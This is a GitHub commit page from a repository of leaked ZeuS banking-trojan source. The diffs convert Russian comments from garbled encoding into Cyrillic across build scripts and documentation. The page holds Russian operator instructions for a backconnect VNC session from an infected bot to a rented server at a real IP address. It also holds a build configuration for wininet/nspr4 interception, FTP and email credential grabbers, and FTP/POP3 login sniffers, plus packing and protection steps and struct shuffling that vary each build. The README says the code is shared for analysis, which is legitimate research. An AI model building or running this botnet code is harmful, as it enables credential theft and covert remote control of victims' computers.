Skip to content

Commit

Permalink
encoding experiments
Browse files Browse the repository at this point in the history
  • Loading branch information
Ubuntu committed Jun 28, 2013
1 parent ba9b10a commit 301d2c9
Show file tree
Hide file tree
Showing 195 changed files with 4,999 additions and 4,999 deletions.
2 changes: 1 addition & 1 deletion README
Original file line number Diff line number Diff line change
@@ -1,4 +1,4 @@
This is version 2.0.8.9 downloaded from
http://www.mdl4.com/2011/05/download-zeus-source-code/

This repository doesn´t contain my code I have uploaded it to GitHub to simplify the process of getting/analysing the code.
This repository doesnВґt contain my code I have uploaded it to GitHub to simplify the process of getting/analysing the code.
6 changes: 3 additions & 3 deletions README.txt
Original file line number Diff line number Diff line change
Expand Up @@ -51,7 +51,7 @@ Second:
Configuration File Entries
The file consists of two sections StaticConfig and DynamicConfig.

StaticConfig, the values ​​prescribed in this section directly to the bot file, ie in exe, and define the basic behavior of the bot on a victim's computer.
StaticConfig, the values ​​prescribed in this section directly to the bot file, ie in exe, and define the basic behavior of the bot on a victim's computer.
Depending on your build, some details may not have value for you, all the significant parameters prescribed in the example that came with the package assembly.
botnet [string] - specifies the name of a botnet, which owns the boat.
string - the name of a botnet to 4 characters, or 0 - for the default value.
Expand Down Expand Up @@ -82,10 +82,10 @@ url_compip [url] [number] - specifies the site where you can check your IP, is u
url - specifies the URL of the web
number - Specifies the kolichetsvo bytes that enough to swing from the site to see in the downloaded your IP.

blacklist_languages ​​[number1] [number2] ... [chisloX] - specifies a list of language codes Windows, for which the bot will always spyashem is in Safe Mode, ie it will not send the logs and statistics, but will appeal to the configuration file.
blacklist_languages ​​[number1] [number2] ... [chisloX] - specifies a list of language codes Windows, for which the bot will always spyashem is in Safe Mode, ie it will not send the logs and statistics, but will appeal to the configuration file.
chisloX - language code, for example RU - 1049, EN - 1033.

DynamicConfig, the values ​​prescribed in this section, the final configuration file.
DynamicConfig, the values ​​prescribed in this section, the final configuration file.
Depending on your build, some details may not have value for you, all the significant parameters prescribed in the example that came with the package assembly.
url_loader [url] - specifies the URL, which you can download the update bot. This option is relevant only if you are running the botnet new version of the bot and prescribed configuration of him for the same URL, as the old configuration, in which case the old version of the bot will start to upgrade by downloading the file specified in this record.

Expand Down
22 changes: 11 additions & 11 deletions VNC.txt
Original file line number Diff line number Diff line change
@@ -1,11 +1,11 @@
��� �� ���������� ������:
1. �������� ����� � ���������� IP
2. �������������� �� ���� ���� zsbcs.exe
3. ���������� ��������� ������ � ���������� ���� ���� �� ���������� �����������: zsbcs.exe listen -ipv4 -cp:1080 -bp:4500
-cp:1080 ��� ���� ������� ����������� �� ������ ��� ������ vnc viewer'
-bp:4500 ���� ����, ����� ������� ��� ����������� � ������.
4. � ������� ������� ��� ������� ���� ��������� ������: bot_bc_add vnc 24.255.207.83 4500
(��� 24.255.207.83 IP ������)
5. ����� ����� vnc viewer � ������ ��� IP ������ � ���� ��� ��������: 24.255.207.83:1080
���� ������� ����������� ���� � vnc viewer'� � ������ ������������ � ���� ��������� ������. ����� ���������� ������ �� �������� ��������� ���������� �������� Ctrl+C.
6. ����������� ������� ��� bot_bc_remove vnc 24.255.207.83 4500 ����� ��������
Там всё достаточно просто:
1. Находишь дедик с выделенным IP
2. Устанавливаешь на него файл zsbcs.exe
3. Открываешь командную строку и запускаешь этот файл со следующими параметрами: zsbcs.exe listen -ipv4 -cp:1080 -bp:4500
-cp:1080 это порт который открывается на дедике для твоего vnc viewer'а
-bp:4500 этот порт, через который бот коннектится к дедику.
4. В админке создаёшь для нужного бота следующий скрипт: bot_bc_add vnc 24.255.207.83 4500
(где 24.255.207.83 IP дедика)
5. Берёшь любой vnc viewer и пишешь там IP дедика и порт для коннекта: 24.255.207.83:1080
Весь процесс подключения бота и vnc viewer'а к дедику отображается в окне командной строки. После завершения работы не забывает разорвать соединение нажатием Ctrl+C.
6. незабывайте удалить внц bot_bc_remove vnc 24.255.207.83 4500 таким скриптом
2 changes: 1 addition & 1 deletion geobase/convert_maxmind_country.php
Original file line number Diff line number Diff line change
@@ -1,6 +1,6 @@
<?php
/*
Êîíâåðòàöèÿ MaxMind Country CSV â ôîðìàò [LowIPv4 HighIPv4 Country[3]]
Конвертация MaxMind Country CSV в формат [LowIPv4 HighIPv4 Country[3]]
http://geolite.maxmind.com/download/geoip/database/GeoIPCountryCSV.zip
*/
Expand Down
36 changes: 18 additions & 18 deletions make/baseconfig.inc.php
Original file line number Diff line number Diff line change
@@ -1,21 +1,21 @@
<?php
///////////////////////////////////////////////////////////////////////////////////////////////////
// Генерация структуры BASECONFIG.
// Генерация структуры BASECONFIG.
///////////////////////////////////////////////////////////////////////////////////////////////////

/*
Генерация структуры BASECONFIG.
Генерация структуры BASECONFIG.
Return - содержимое h-файла.
Return - содержимое h-файла.
*/
function generateBaseConfigHeader()
{
$flags = array
(
"BCF_REMOVE_CERTS ", //Автоматически удалять сертификаты.
"BCF_DISABLE_TCPSERVER", //Отключить TCP-сервер.
"BCF_REMOVE_CERTS ", //Автоматически удалять сертификаты.
"BCF_DISABLE_TCPSERVER", //Отключить TCP-сервер.

//Просто свободные биты. Думаю, что это положительно сыграет на рэндоме (на самом деле лень думать).
//Просто свободные биты. Думаю, что это положительно сыграет на рэндоме (на самом деле лень думать).
"BCF_01 ",
"BCF_02 ",
"BCF_03 ",
Expand Down Expand Up @@ -50,20 +50,20 @@ function generateBaseConfigHeader()

$vars = array
(
"DWORD flags; //Флаги BCF_*.",
"WCHAR defaultBotnet[BOTNET_MAX_CHARS + 1]; //Имя ботнета по умолчанию.",
"DWORD delayConfig; //Данные задержок для загрузки конфигурации.",
"DWORD delayReport; //Данные задержок для отправки отчетов.",
"DWORD delayStats; //Данные задержок для отправки статистики.",
"char defaultConfig[100 + 1]; //URL конфигурации по умолчанию.",
"Crypt::RC4KEY baseKey; //Ключ шифрования ботнета.",
"DWORD flags; //Флаги BCF_*.",
"WCHAR defaultBotnet[BOTNET_MAX_CHARS + 1]; //Имя ботнета по умолчанию.",
"DWORD delayConfig; //Данные задержок для загрузки конфигурации.",
"DWORD delayReport; //Данные задержок для отправки отчетов.",
"DWORD delayStats; //Данные задержок для отправки статистики.",
"char defaultConfig[100 + 1]; //URL конфигурации по умолчанию.",
"Crypt::RC4KEY baseKey; //Ключ шифрования ботнета.",
);

//Перемешиваем значения.
//Перемешиваем значения.
shuffle($vars);
shuffle($flags);

//Добавляем флаги.
//Добавляем флаги.
$outputEnum = array();
$i = 0;
foreach($flags as $v)
Expand All @@ -72,10 +72,10 @@ function generateBaseConfigHeader()
$i++;
}

//Добовляем перед каждым значением структуры, произволный буффер.
//Добовляем перед каждым значением структуры, произволный буффер.
$outputStruct = '';
$i = 0;
$vars[] = 0; //Для добавления паддинга в конец.
$vars[] = 0; //Для добавления паддинга в конец.
foreach($vars as $v)
{
if(($rnd = mt_rand(0, 100)) > 0)
Expand All @@ -86,7 +86,7 @@ function generateBaseConfigHeader()
if(!empty($v))$outputStruct .= " ".$v."\r\n";
}

//Выводим.
//Выводим.
return "enum\r\n{\r\n".implode(",\r\n", $outputEnum)."\r\n};\r\n\r\n".
"typedef struct\r\n{\r\n{$outputStruct}}BASECONFIG;\r\n";
}
Expand Down
62 changes: 31 additions & 31 deletions make/buildconfig.inc.php
Original file line number Diff line number Diff line change
@@ -1,38 +1,38 @@
<?php
///////////////////////////////////////////////////////////////////////////////////////////////////
// Êîíôèãóðàöèÿ.
// Конфигурация.
///////////////////////////////////////////////////////////////////////////////////////////////////

$configDir = NULL;
$config = array
(
'debug' => -1, //Äîáàâëåíèå îòëàäî÷íîé èíôîðìàöèè.
'manual' => -1, //ßçûê äîêóìåíòàöèè.
'debug' => -1, //Добавление отладочной информации.
'manual' => -1, //Язык документации.

'nspr4' => -1, //Ïåðåõâàò nspr4.dll
'wininet' => -1, //Ïåðåõâàò wininet.dll
'software_ftp' => -1, //Ãðàááåð FTP-êëèåíòîâ.
'software_email' => -1, //Ñáîð email'îâ ñ ïðîãðàìì.
'nspr4' => -1, //Перехват nspr4.dll
'wininet' => -1, //Перехват wininet.dll
'software_ftp' => -1, //Граббер FTP-клиентов.
'software_email' => -1, //Сбор email'ов с программ.

'socket_ftp' => -1, //Ñíèôåð ëîãèíîâ FTP.
'socket_pop3' => -1, //Ñíèôåð ëîãèíîâ POP3.
'socket_ftp' => -1, //Снифер логинов FTP.
'socket_pop3' => -1, //Снифер логинов POP3.

'vnc' => -1, //VNC.
'jabber_notifier' => -1, //Íîòèôèêàòîð äëÿ Jabber.
'jabber_notifier' => -1, //Нотификатор для Jabber.

'client_platforms' => -1, //Ñïèñîê ïëàòôîðì äëÿ client.
'server_platforms' => -1, //Ñïèñîê ïëàòôîðì äëÿ server.
'bcserver_platforms' => -1, //Ñïèñîê ïëàòôîðì äëÿ bcserver.
'builder_platforms' => -1, //Ñïèñîê ïëàòôîðì äëÿ builder.
'buildtools_platforms' => -1, //Ñïèñîê ïëàòôîðì äëÿ buildtools.
'client_platforms' => -1, //Список платформ для client.
'server_platforms' => -1, //Список платформ для server.
'bcserver_platforms' => -1, //Список платформ для bcserver.
'builder_platforms' => -1, //Список платформ для builder.
'buildtools_platforms' => -1, //Список платформ для buildtools.
);

loadGlobalConfig();
define('BO_NAME', 'ZeuS'); //Èìÿ
define('BO_CLIENT_VERSION', trim($config['global']['versions']['client'])); //Òåêóùàÿ âåðñèÿ
define('BO_BUILDTIME', gmdate('H:i:s d.m.Y', time()).' GMT'); //Âðåìÿ ñáîðêè
define('BO_NAME', 'ZeuS'); //Имя
define('BO_CLIENT_VERSION', trim($config['global']['versions']['client'])); //Текущая версия
define('BO_BUILDTIME', gmdate('H:i:s d.m.Y', time()).' GMT'); //Время сборки

//Äèðåêòîðèè êîìïèëÿòîðà.
//Директории компилятора.
$dir['vcdlls'] = 'C:\Program Files\Microsoft Visual Studio 10.0\Common7\IDE';
$dir['vc'] = 'C:\Program Files\Microsoft Visual Studio 10.0\VC';
$dir['sdk'] = 'C:\Program Files\Microsoft SDKs\Windows\v7.0A';
Expand All @@ -41,18 +41,18 @@
$dir['sdkbin']['win32'] = $dir['sdk'].'\bin';
$dir['sdkbin']['win64'] = $dir['sdk'].'\bin\x64';

putenv('PATH=%PATH%;'.$dir['vcdlls']); //Òàì íàõîäÿòñÿ íåêîòðûå íóæíûå DLL.
putenv('PATH=%PATH%;'.$dir['vcdlls']); //Там находятся некотрые нужные DLL.

//Ðàçëè÷íûå äèðåêòîðèè.
$dir['project'] = dirname(getcwd()); //Óðîâåíü ââåðõ.
//Различные директории.
$dir['project'] = dirname(getcwd()); //Уровень вверх.
$dir['bin'] = $dir['project'].'\bin';
$dir['docs'] = $dir['project'].'\docs';
$dir['configs'] = $dir['project'].'\configs';
$dir['temp'] = $dir['project'].'\temp';
$dir['geobase'] = $dir['project'].'\geobase';
$dir['moutput'] = $dir['project'].'\output_all';

//Äèðåêòîðèè âûâîäà.
//Директории вывода.
$dir['output'][0] = $dir['project'].'\output';
$dir['output']['client'] = $dir['output'][0];
$dir['output']['server'] = $dir['output'][0].'\server';
Expand All @@ -61,7 +61,7 @@
$dir['output']['other'] = $dir['output'][0].'\other';
$dir['output']['buildtools'] = $dir['output'][0];

//Äèðåêòîðèè èñõîäíîãî êîäà.
//Директории исходного кода.
$dir['source'][0] = $dir['project'].'\source';
$dir['source']['client'] = $dir['source'][0].'\client';
$dir['source']['server'] = $dir['source'][0].'\server';
Expand All @@ -71,7 +71,7 @@
$dir['source']['other'] = $dir['source'][0].'\other';
$dir['source']['buildtools'] = $dir['source'][0].'\buildtools';

//Îïöèè êîìïèëÿöèè
//Опции компиляции
$commandLineOptions['client']['win32'] = array
(
'name' => 'client32.bin',
Expand Down Expand Up @@ -114,12 +114,12 @@
'lnk_options' => 'kernel32.lib shlwapi.lib shell32.lib user32.lib advapi32.lib'
);

//Ñïèñîêè äëÿ ïîèñêà include, lib.
//Списоки для поиска include, lib.
$dir['include'] = array($dir['vc'].'\include', $dir['sdk'].'\include', $dir['project'].'\include');
$dir['lib']['win32'] = array($dir['vc'].'\lib', $dir['sdk'].'\lib', $dir['project'].'\lib\x32');
$dir['lib']['win64'] = array($dir['vc'].'\lib\amd64', $dir['sdk'].'\lib\x64', $dir['project'].'\lib\x64');

//Êîìàíäíûå ñòðîêè.?
//Командные строки.?
$commandLinePart['cpp'] = '/O1 /Ob2 /Oi- /Os /Oy '. //Optimization
'/EHa /fp:fast /fp:except- /Gr /GF /GL /GR- /Gy '. //Code Generation
'/Fo"%TEMP%/" '. //Output Files
Expand All @@ -133,7 +133,7 @@
$commandLinePart['link'] = '/ENTRY:entryPoint /MERGE:code=.text /errorReport:none /FIXED /INCREMENTAL:NO /NXCOMPAT /LTCG /MAP:"%MAPFILE%" /MAPINFO:EXPORTS /NODEFAULTLIB /NOLOGO /OPT:REF /OPT:ICF /LARGEADDRESSAWARE:NO /DYNAMICBASE:NO /OUT:"%OUTPUT%" /MANIFESTUAC:NO /SAFESEH:NO /SUBSYSTEM:%SUBSYS% /VERSION:1.0 /WX %OPTIONS% %SOURCE%';
$commandLinePart['res'] = '/D "_UNICODE" /D "UNICODE" /FO"%OUTPUT%" %OPTIONS% "%SOURCE%"';

//Êîìïèëÿòîðû/Ëèíêåðû.?
//Компиляторы/Линкеры.?
$commandLine['cpp']['win32'] = "call \"{$dir['vcbin']['win32']}\\cl.exe\" /arch:SSE {$commandLinePart['cpp']}";
$commandLine['cpp']['win64'] = "call \"{$dir['vcbin']['win64']}\\cl.exe\" /favor:blend {$commandLinePart['cpp']}";

Expand All @@ -146,16 +146,16 @@
$commandLine['link']['win64'] = "call \"{$dir['vcbin']['win64']}\\link.exe\" /MACHINE:X64 /LIBPATH:\"".implode('" /LIBPATH:"', $dir['lib']['win64']).'" '.$commandLinePart['link'];
$commandLine['link']['win32'] = "call \"{$dir['vcbin']['win32']}\\link.exe\" /MACHINE:X86 /LIBPATH:\"".implode('" /LIBPATH:"', $dir['lib']['win32']).'" '.$commandLinePart['link'];

//Ïðîòåêòîðû.
//Протекторы.
$commandLine['protect']['php'] = "call \"{$dir['project']}\\bin\\zendenc5.exe\" --short-tags on --no-header --use-crypto --silent --include-ext js \"%SOURCE%\" \"%OUTPUT%\"";

//Óïàêîâùèêè.
//Упаковщики.
$commandLine['pack']['win64'] = NULL;
$commandLine['pack']['win32'] = "call \"{$dir['project']}\\bin\\upx.exe\" -9 -f \"%SOURCE%\"";
$commandLine['pack']['dir'] = "call \"{$dir['project']}\\bin\\7z.exe\" a -t7z -mx=9 -ms=on -mf=on -mhc=on -mhe=on -mmt=on \"-p%PASS%\" -r -ssw -y -- \"%OUTPUT%\" \"%SOURCE%\"";
$commandLine['pack']['file'] = "call \"{$dir['project']}\\bin\\7z.exe\" a -t7z -mx=9 -ms=on -mf=on -mhc=on -mhe=on -mmt=on \"-p%PASS%\" -ssw -y -- \"%OUTPUT%\" \"%SOURCE%\"";

//Ïðî÷èå èíñòóðìåíòû.
//Прочие инстурменты.
$commandLine['buildtools']['ror13'] = "call \"{$dir['project']}\\bin\\bt.exe\" ror13 -nologo \"-is:%STRING%\"";
$commandLine['buildtools']['pedatadirectory'] = "call \"{$dir['project']}\\bin\\bt.exe\" peinfo -nologo \"-file:%FILE%\" \"-dd:%INDEX%\"";
$commandLine['buildtools']['pepatch'] = "call \"{$dir['project']}\\bin\\bt.exe\" peinfo -nologo \"-file:%FILE%\" -va \"-pdw:%VA%,%DWORD%\"";
Expand Down
6 changes: 3 additions & 3 deletions make/configsample.inc.php
Original file line number Diff line number Diff line change
@@ -1,12 +1,12 @@
<?php
///////////////////////////////////////////////////////////////////////////////////////////////////
// Ñáîðêà ïðèìåðà ôàéëà êîíôèãóðàöèè.
// Сборка примера файла конфигурации.
///////////////////////////////////////////////////////////////////////////////////////////////////

/*
Ñáîðêà ïðèìåðà ôàéëà êîíôèãóðàöèè.
Сборка примера файла конфигурации.
IN $dir - äèðåêòîðèÿ, â êîòîðîé áóäóò ñãåíåðèðîâàíû ôàéëû.
IN $dir - директория, в которой будут сгенерированы файлы.
*/
function buildConfigSample($dir)
{
Expand Down
18 changes: 9 additions & 9 deletions make/installdata.inc.php
Original file line number Diff line number Diff line change
@@ -1,29 +1,29 @@
<?php
///////////////////////////////////////////////////////////////////////////////////////////////////
// Ãåíåðàöèÿ ñòðóêòóðû INSTALLDATA.
// Генерация структуры INSTALLDATA.
///////////////////////////////////////////////////////////////////////////////////////////////////

/*
Ãåíåðàöèÿ ñòðóêòóðû BASECONFIG.
Генерация структуры BASECONFIG.
Return - ñîäåðæèìîå h-ôàéëà.
Return - содержимое h-файла.
*/
function generateInstallData()
{
$vars = array
(
"DWORD xorKey; //Êëþ÷ øèôðîâàíèÿ.",
"DWORD installSize; //Ðàçìåð CoreInstall::_install().",
"DWORD updateSize; //Ðàçìåð CoreInstall::_update()."
"DWORD xorKey; //Ключ шифрования.",
"DWORD installSize; //Размер CoreInstall::_install().",
"DWORD updateSize; //Размер CoreInstall::_update()."
);

//Ïåðåìåøèâàåì çíà÷åíèÿ.
//Перемешиваем значения.
shuffle($vars);

//Äîáîâëÿåì ïåðåä êàæäûì çíà÷åíèåì ñòðóêòóðû, ïðîèçâîëíûé áóôôåð.
//Добовляем перед каждым значением структуры, произволный буффер.
$outputStruct = implode("\r\n ", $vars);

//Âûâîäèì.
//Выводим.
return "typedef struct\r\n{\r\n {$outputStruct}\r\n}INSTALLDATA;\r\n";
}
?>
Loading

0 comments on commit 301d2c9

Please sign in to comment.